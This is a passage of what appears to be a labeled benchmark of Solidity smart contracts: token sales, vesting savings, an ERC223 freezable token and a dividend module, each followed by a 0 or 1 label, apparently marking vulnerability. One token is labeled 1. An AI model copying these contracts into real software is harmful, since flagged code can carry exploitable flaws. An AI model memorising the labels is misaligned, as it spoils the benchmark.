secondStageRaised = secondStageRaised.add(_humanValue);
}
Human.mintTokens(_holder, _humanValue);
}
function addController(address _controller) onlyOwner external {
require(!isController[_controller]);
isController[_controller] = true;
ControllerAdded(_controller);
}
function removeController(address _controller) onlyOwner external {
require(isController[_controller]);
isController[_controller] = false;
ControllerRemoved(_controller);
}
function startFirstStage() public onlyOwner {
require(status == Status.Created);
Human.mintTokens(teamFund, teamPart);
status = Status.firstStage;
FirstStageStarted(now);
}
function startSecondStage() public onlyOwner {
require(status == Status.firstStage);
status = Status.secondStage;
SecondStageStarted(now);
}
function finish() public onlyOwner {
require (status == Status.secondStage);
status = Status.Finished;
AllocationFinished(now);
}
function enable() public onlyOwner {
publicAllocationEnabled = true;
PublicAllocationEnabled(now);
}
function disable() public onlyOwner {
publicAllocationEnabled = false;
PublicAllocationDisabled(now);
}
function withdraw() external onlyOwner {
company.transfer(address(this).balance);
}
function transferAnyTokens(address tokenAddress, uint tokens)
public
onlyOwner
returns (bool success) {
return ERC20(tokenAddress).transfer(owner, tokens);
}
}
contract HumanToken is ERC20 {
using SafeMath for uint;
string public name = "Human";
string public symbol = "Human";
uint public decimals = 18;
uint public voteCost = 10**18;
address public owner;
address public eventManager;
mapping (address => bool) isActiveEvent;
event EventAdded(address _event);
event Contribute(address _event, address _contributor, uint _amount);
event Vote(address _event, address _contributor, bool _proposal);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyEventManager {
require(msg.sender == eventManager);
_;
}
modifier onlyActive(address _event) {
require(isActiveEvent[_event]);
_;
}
function HumanToken(address _owner, address _eventManager) public {
owner = _owner;
eventManager = _eventManager;
}
function addEvent(address _event) external onlyEventManager {
require (!isActiveEvent[_event]);
isActiveEvent[_event] = true;
EventAdded(_event);
}
function setVoteCost(uint _voteCost) external onlyEventManager {
voteCost = _voteCost;
}
function donate(address _event, uint _amount) public onlyActive(_event) {
require (transfer(_event, _amount));
require (HumanEvent(_event).contribute(msg.sender, _amount));
Contribute(_event, msg.sender, _amount);
}
function vote(address _event, bool _proposal) public onlyActive(_event) {
require(transfer(_event, voteCost));
require(HumanEvent(_event).vote(msg.sender, _proposal));
Vote(_event, msg.sender, _proposal);
}
function mintTokens(address _holder, uint _value) external onlyOwner {
require(_value > 0);
balances[_holder] = balances[_holder].add(_value);
totalSupply = totalSupply.add(_value);
Transfer(0x0, _holder, _value);
}
function balanceOf(address _holder) constant returns (uint) {
return balances[_holder];
}
function transfer(address _to, uint _amount) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint _amount) public returns (bool) {
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint _amount) public returns (bool) {
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint) {
return allowed[_owner][_spender];
}
function transferAnyTokens(address tokenAddress, uint tokens)
public
onlyOwner
returns (bool success) {
return ERC20(tokenAddress).transfer(owner, tokens);
}
}
contract HumanEvent {
using SafeMath for uint;
uint public totalRaised;
uint public softCap;
uint public positiveVotes;
uint public negativeVotes;
address public alternative;
address public owner;
HumanToken public human;
mapping (address => uint) public contributions;
mapping (address => bool) public voted;
mapping (address => bool) public claimed;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyHuman {
require(msg.sender == address(human));
_;
}
enum StatusEvent {
Created,
Fundraising,
Failed,
Evaluating,
Voting,
Finished
}
StatusEvent public statusEvent = StatusEvent.Created;
function HumanEvent(
address _owner,
uint _softCap,
address _alternative,
address _human
) public {
owner = _owner;
softCap = _softCap;
alternative = _alternative;
human = HumanToken(_human);
}
function startFundraising() public onlyOwner {
require(statusEvent == StatusEvent.Created);
statusEvent = StatusEvent.Fundraising;
}
function startEvaluating() public onlyOwner {
require(statusEvent == StatusEvent.Fundraising);
if (totalRaised >= softCap) {
statusEvent = StatusEvent.Evaluating;
} else {
statusEvent = StatusEvent.Failed;
}
}
function startVoting() public onlyOwner {
require(statusEvent == StatusEvent.Evaluating);
statusEvent = StatusEvent.Voting;
}
function finish() public onlyOwner {
require(statusEvent == StatusEvent.Voting);
if (positiveVotes >= negativeVotes) {
statusEvent = StatusEvent.Finished;
} else {
statusEvent = StatusEvent.Failed;
}
}
function claim() public {
require(!claimed[msg.sender]);
claimed[msg.sender] = true;
uint contribution;
if (statusEvent == StatusEvent.Failed) {
contribution = contribution.add(contributions[msg.sender]);
contributions[msg.sender] = 0;
}
if(voted[msg.sender] && statusEvent != StatusEvent.Voting) {
uint _voteCost = human.voteCost();
contribution = contribution.add(_voteCost);
}
require(contribution > 0);
require(human.transfer(msg.sender, contribution));
}
function vote(address _voter, bool _proposal) external onlyHuman returns (bool) {
require(!voted[_voter] && statusEvent == StatusEvent.Voting);
voted[_voter] = true;
if (_proposal) {
positiveVotes++;
} else {
negativeVotes++;
}
return true;
}
function contribute(address _contributor, uint _amount) external onlyHuman returns(bool) {
require (statusEvent == StatusEvent.Fundraising);
contributions[_contributor] = contributions[_contributor].add(_amount);
totalRaised = totalRaised.add(_amount);
return true;
}
function withdraw() external onlyOwner {
require (statusEvent == StatusEvent.Finished);
require (human.transfer(alternative, totalRaised));
}
} | 0 |
pragma solidity >=0.4.10;
contract Token {
function transferFrom(address from, address to, uint amount) returns(bool);
function transfer(address to, uint amount) returns(bool);
function balanceOf(address addr) constant returns(uint);
}
contract Owned {
address public owner;
address public newOwner;
event ChangedOwner(address indexed new_owner);
function Owned() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) onlyOwner external {
newOwner = _newOwner;
}
function acceptOwnership() external {
if (msg.sender == newOwner) {
owner = newOwner;
newOwner = 0x0;
ChangedOwner(owner);
}
}
}
contract IOwned {
function owner() returns (address);
function changeOwner(address);
function acceptOwnership();
}
contract Savings is Owned {
uint public periods;
uint public t0special;
uint constant public intervalSecs = 30 days;
uint constant public precision = 10 ** 18;
event Withdraws(address indexed who, uint amount);
event Deposit(address indexed who, uint amount);
bool public inited;
bool public locked;
uint public startBlockTimestamp = 0;
Token public token;
mapping (address => uint) public deposited;
uint public totalfv;
uint public remainder;
uint public total;
mapping (address => uint256) public withdrawn;
bool public nullified;
modifier notNullified() { require(!nullified); _; }
modifier preLock() { require(!locked && startBlockTimestamp == 0); _; }
modifier postLock() { require(locked); _; }
modifier preStart() { require(locked && startBlockTimestamp == 0); _; }
modifier postStart() { require(locked && startBlockTimestamp != 0); _; }
modifier notInitialized() { require(!inited); _; }
modifier initialized() { require(inited); _; }
function() {
revert();
}
function nullify() onlyOwner {
nullified = true;
}
function init(uint _periods, uint _t0special) onlyOwner notInitialized {
require(_periods != 0);
periods = _periods;
t0special = _t0special;
}
function finalizeInit() onlyOwner notInitialized {
inited = true;
}
function setToken(address tok) onlyOwner {
token = Token(tok);
}
function lock() onlyOwner {
locked = true;
}
function start(uint _startBlockTimestamp) onlyOwner initialized preStart {
startBlockTimestamp = _startBlockTimestamp;
uint256 tokenBalance = token.balanceOf(this);
total = tokenBalance;
remainder = tokenBalance;
}
function isStarted() constant returns(bool) {
return locked && startBlockTimestamp != 0;
}
function refundTokens(address addr, uint amount) onlyOwner preLock {
token.transfer(addr, amount);
}
function updateTotal() onlyOwner postLock {
uint current = token.balanceOf(this);
require(current >= remainder);
uint difference = (current - remainder);
total += difference;
remainder = current;
}
function periodAt(uint _blockTimestamp) constant returns(uint) {
if (startBlockTimestamp > _blockTimestamp)
return 0;
uint p = ((_blockTimestamp - startBlockTimestamp) / intervalSecs) + 1;
if (p > periods)
p = periods;
return p;
}
function period() constant returns(uint) {
return periodAt(block.timestamp);
}
function deposit(uint tokens) onlyOwner notNullified {
depositTo(msg.sender, tokens);
}
function depositTo(address beneficiary, uint tokens) onlyOwner preLock notNullified {
require(token.transferFrom(msg.sender, this, tokens));
deposited[beneficiary] += tokens;
totalfv += tokens;
Deposit(beneficiary, tokens);
}
function bulkDepositTo(uint256[] bits) onlyOwner {
uint256 lomask = (1 << 96) - 1;
for (uint i=0; i<bits.length; i++) {
address a = address(bits[i]>>96);
uint val = bits[i]&lomask;
depositTo(a, val);
}
}
function withdraw() notNullified returns(bool) {
return withdrawTo(msg.sender);
}
function availableForWithdrawalAt(uint256 blockTimestamp) constant returns (uint256) {
return ((t0special + periodAt(blockTimestamp)) * precision) / (t0special + periods);
}
function _withdrawTo(uint _deposit, uint _withdrawn, uint _blockTimestamp, uint _total) constant returns (uint) {
uint256 fraction = availableForWithdrawalAt(_blockTimestamp);
uint256 withdrawable = ((_deposit * fraction * _total) / totalfv) / precision;
if (withdrawable > _withdrawn) {
return withdrawable - _withdrawn;
}
return 0;
}
function withdrawTo(address addr) postStart notNullified returns (bool) {
uint _d = deposited[addr];
uint _w = withdrawn[addr];
uint diff = _withdrawTo(_d, _w, block.timestamp, total);
if (diff == 0) {
return false;
}
require((diff + _w) <= ((_d * total) / totalfv));
require(token.transfer(addr, diff));
withdrawn[addr] += diff;
remainder -= diff;
Withdraws(addr, diff);
return true;
}
function bulkWithdraw(address[] addrs) notNullified {
for (uint i=0; i<addrs.length; i++)
withdrawTo(addrs[i]);
}
uint public mintingNonce;
function multiMint(uint nonce, uint256[] bits) onlyOwner preLock {
if (nonce != mintingNonce) return;
mintingNonce += 1;
uint256 lomask = (1 << 96) - 1;
uint sum = 0;
for (uint i=0; i<bits.length; i++) {
address a = address(bits[i]>>96);
uint value = bits[i]&lomask;
deposited[a] += value;
sum += value;
Deposit(a, value);
}
totalfv += sum;
}
} | 0 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Transfer(msg.sender, _to, _amount);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "Word of mouth pro";
string constant TOKEN_SYMBOL = "wmp";
bool constant PAUSED = true;
address constant TARGET_USER = 0x63DA42f4151F88c7EAAeBb67783D855b4ac8AdD7;
uint constant START_TIME = 1531087260;
bool constant CONTINUE_MINTING = false;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 1 |
pragma solidity ^0.4.24;
interface ICheckpoint {
}
interface IModule {
function getInitFunction() external pure returns (bytes4);
function getPermissions() external view returns(bytes32[]);
function takeFee(uint256 _amount) external returns(bool);
}
interface ISecurityToken {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function decreaseApproval(address _spender, uint _subtractedValue) external returns (bool);
function increaseApproval(address _spender, uint _addedValue) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function verifyTransfer(address _from, address _to, uint256 _value) external returns (bool success);
function mint(address _investor, uint256 _value) external returns (bool success);
function mintWithData(address _investor, uint256 _value, bytes _data) external returns (bool success);
function burnFromWithData(address _from, uint256 _value, bytes _data) external;
function burnWithData(uint256 _value, bytes _data) external;
event Minted(address indexed _to, uint256 _value);
event Burnt(address indexed _burner, uint256 _value);
function checkPermission(address _delegate, address _module, bytes32 _perm) external view returns (bool);
function getModule(address _module) external view returns(bytes32, address, address, bool, uint8, uint256, uint256);
function getModulesByName(bytes32 _name) external view returns (address[]);
function getModulesByType(uint8 _type) external view returns (address[]);
function totalSupplyAt(uint256 _checkpointId) external view returns (uint256);
function balanceOfAt(address _investor, uint256 _checkpointId) external view returns (uint256);
function createCheckpoint() external returns (uint256);
function getInvestors() external view returns (address[]);
function getInvestorsAt(uint256 _checkpointId) external view returns(address[]);
function iterateInvestors(uint256 _start, uint256 _end) external view returns(address[]);
function currentCheckpointId() external view returns (uint256);
function investors(uint256 _index) external view returns (address);
function withdrawERC20(address _tokenContract, uint256 _value) external;
function changeModuleBudget(address _module, uint256 _budget) external;
function updateTokenDetails(string _newTokenDetails) external;
function changeGranularity(uint256 _granularity) external;
function pruneInvestors(uint256 _start, uint256 _iters) external;
function freezeTransfers() external;
function unfreezeTransfers() external;
function freezeMinting() external;
function mintMulti(address[] _investors, uint256[] _values) external returns (bool success);
function addModule(
address _moduleFactory,
bytes _data,
uint256 _maxCost,
uint256 _budget
) external;
function archiveModule(address _module) external;
function unarchiveModule(address _module) external;
function removeModule(address _module) external;
function setController(address _controller) external;
function forceTransfer(address _from, address _to, uint256 _value, bytes _data, bytes _log) external;
function forceBurn(address _from, uint256 _value, bytes _data, bytes _log) external;
function disableController() external;
function getVersion() external view returns(uint8[]);
function getInvestorCount() external view returns(uint256);
function transferWithData(address _to, uint256 _value, bytes _data) external returns (bool success);
function transferFromWithData(address _from, address _to, uint256 _value, bytes _data) external returns(bool);
function granularity() external view returns(uint256);
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function decreaseApproval(address _spender, uint _subtractedValue) external returns (bool);
function increaseApproval(address _spender, uint _addedValue) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Module is IModule {
address public factory;
address public securityToken;
bytes32 public constant FEE_ADMIN = "FEE_ADMIN";
IERC20 public polyToken;
constructor (address _securityToken, address _polyAddress) public {
securityToken = _securityToken;
factory = msg.sender;
polyToken = IERC20(_polyAddress);
}
modifier withPerm(bytes32 _perm) {
bool isOwner = msg.sender == Ownable(securityToken).owner();
bool isFactory = msg.sender == factory;
require(isOwner||isFactory||ISecurityToken(securityToken).checkPermission(msg.sender, address(this), _perm), "Permission check failed");
_;
}
modifier onlyOwner {
require(msg.sender == Ownable(securityToken).owner(), "Sender is not owner");
_;
}
modifier onlyFactory {
require(msg.sender == factory, "Sender is not factory");
_;
}
modifier onlyFactoryOwner {
require(msg.sender == Ownable(factory).owner(), "Sender is not factory owner");
_;
}
modifier onlyFactoryOrOwner {
require((msg.sender == Ownable(securityToken).owner()) || (msg.sender == factory), "Sender is not factory or owner");
_;
}
function takeFee(uint256 _amount) public withPerm(FEE_ADMIN) returns(bool) {
require(polyToken.transferFrom(securityToken, Ownable(factory).owner(), _amount), "Unable to take fee");
return true;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library Math {
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract DividendCheckpoint is ICheckpoint, Module {
using SafeMath for uint256;
uint256 public EXCLUDED_ADDRESS_LIMIT = 50;
bytes32 public constant DISTRIBUTE = "DISTRIBUTE";
bytes32 public constant MANAGE = "MANAGE";
bytes32 public constant CHECKPOINT = "CHECKPOINT";
struct Dividend {
uint256 checkpointId;
uint256 created;
uint256 maturity;
uint256 expiry;
uint256 amount;
uint256 claimedAmount;
uint256 totalSupply;
bool reclaimed;
uint256 dividendWithheld;
uint256 dividendWithheldReclaimed;
mapping (address => bool) claimed;
mapping (address => bool) dividendExcluded;
bytes32 name;
}
Dividend[] public dividends;
address[] public excluded;
mapping (address => uint256) public withholdingTax;
mapping (address => uint256) public investorWithheld;
event SetDefaultExcludedAddresses(address[] _excluded, uint256 _timestamp);
event SetWithholding(address[] _investors, uint256[] _withholding, uint256 _timestamp);
event SetWithholdingFixed(address[] _investors, uint256 _withholding, uint256 _timestamp);
modifier validDividendIndex(uint256 _dividendIndex) {
require(_dividendIndex < dividends.length, "Invalid dividend");
require(!dividends[_dividendIndex].reclaimed, "Dividend reclaimed");
require(now >= dividends[_dividendIndex].maturity, "Dividend maturity in future");
require(now < dividends[_dividendIndex].expiry, "Dividend expiry in past");
_;
}
function getInitFunction() public pure returns (bytes4) {
return bytes4(0);
}
function getDefaultExcluded() external view returns (address[]) {
return excluded;
}
function createCheckpoint() public withPerm(CHECKPOINT) returns (uint256) {
return ISecurityToken(securityToken).createCheckpoint();
}
function setDefaultExcluded(address[] _excluded) public withPerm(MANAGE) {
require(_excluded.length <= EXCLUDED_ADDRESS_LIMIT, "Too many excluded addresses");
for (uint256 j = 0; j < _excluded.length; j++) {
require (_excluded[j] != address(0), "Invalid address");
for (uint256 i = j + 1; i < _excluded.length; i++) {
require (_excluded[j] != _excluded[i], "Duplicate exclude address");
}
}
excluded = _excluded;
emit SetDefaultExcludedAddresses(excluded, now);
}
function setWithholding(address[] _investors, uint256[] _withholding) public withPerm(MANAGE) {
require(_investors.length == _withholding.length, "Mismatched input lengths");
emit SetWithholding(_investors, _withholding, now);
for (uint256 i = 0; i < _investors.length; i++) {
require(_withholding[i] <= 10**18, "Incorrect withholding tax");
withholdingTax[_investors[i]] = _withholding[i];
}
}
function setWithholdingFixed(address[] _investors, uint256 _withholding) public withPerm(MANAGE) {
require(_withholding <= 10**18, "Incorrect withholding tax");
emit SetWithholdingFixed(_investors, _withholding, now);
for (uint256 i = 0; i < _investors.length; i++) {
withholdingTax[_investors[i]] = _withholding;
}
}
function pushDividendPaymentToAddresses(
uint256 _dividendIndex,
address[] _payees
)
public
withPerm(DISTRIBUTE)
validDividendIndex(_dividendIndex)
{
Dividend storage dividend = dividends[_dividendIndex];
for (uint256 i = 0; i < _payees.length; i++) {
if ((!dividend.claimed[_payees[i]]) && (!dividend.dividendExcluded[_payees[i]])) {
_payDividend(_payees[i], dividend, _dividendIndex);
}
}
}
function pushDividendPayment(
uint256 _dividendIndex,
uint256 _start,
uint256 _iterations
)
public
withPerm(DISTRIBUTE)
validDividendIndex(_dividendIndex)
{
Dividend storage dividend = dividends[_dividendIndex];
address[] memory investors = ISecurityToken(securityToken).getInvestors();
uint256 numberInvestors = Math.min256(investors.length, _start.add(_iterations));
for (uint256 i = _start; i < numberInvestors; i++) {
address payee = investors[i];
if ((!dividend.claimed[payee]) && (!dividend.dividendExcluded[payee])) {
_payDividend(payee, dividend, _dividendIndex);
}
}
}
function pullDividendPayment(uint256 _dividendIndex) public validDividendIndex(_dividendIndex)
{
Dividend storage dividend = dividends[_dividendIndex];
require(!dividend.claimed[msg.sender], "Dividend already claimed");
require(!dividend.dividendExcluded[msg.sender], "msg.sender excluded from Dividend");
_payDividend(msg.sender, dividend, _dividendIndex);
}
function _payDividend(address _payee, Dividend storage _dividend, uint256 _dividendIndex) internal;
function reclaimDividend(uint256 _dividendIndex) external;
function calculateDividend(uint256 _dividendIndex, address _payee) public view returns(uint256, uint256) {
require(_dividendIndex < dividends.length, "Invalid dividend");
Dividend storage dividend = dividends[_dividendIndex];
if (dividend.claimed[_payee] || dividend.dividendExcluded[_payee]) {
return (0, 0);
}
uint256 balance = ISecurityToken(securityToken).balanceOfAt(_payee, dividend.checkpointId);
uint256 claim = balance.mul(dividend.amount).div(dividend.totalSupply);
uint256 withheld = claim.mul(withholdingTax[_payee]).div(uint256(10**18));
return (claim, withheld);
}
function getDividendIndex(uint256 _checkpointId) public view returns(uint256[]) {
uint256 counter = 0;
for(uint256 i = 0; i < dividends.length; i++) {
if (dividends[i].checkpointId == _checkpointId) {
counter++;
}
}
uint256[] memory index = new uint256[](counter);
counter = 0;
for(uint256 j = 0; j < dividends.length; j++) {
if (dividends[j].checkpointId == _checkpointId) {
index[counter] = j;
counter++;
}
}
return index;
}
function withdrawWithholding(uint256 _dividendIndex) external;
function getPermissions() public view returns(bytes32[]) {
bytes32[] memory allPermissions = new bytes32[](2);
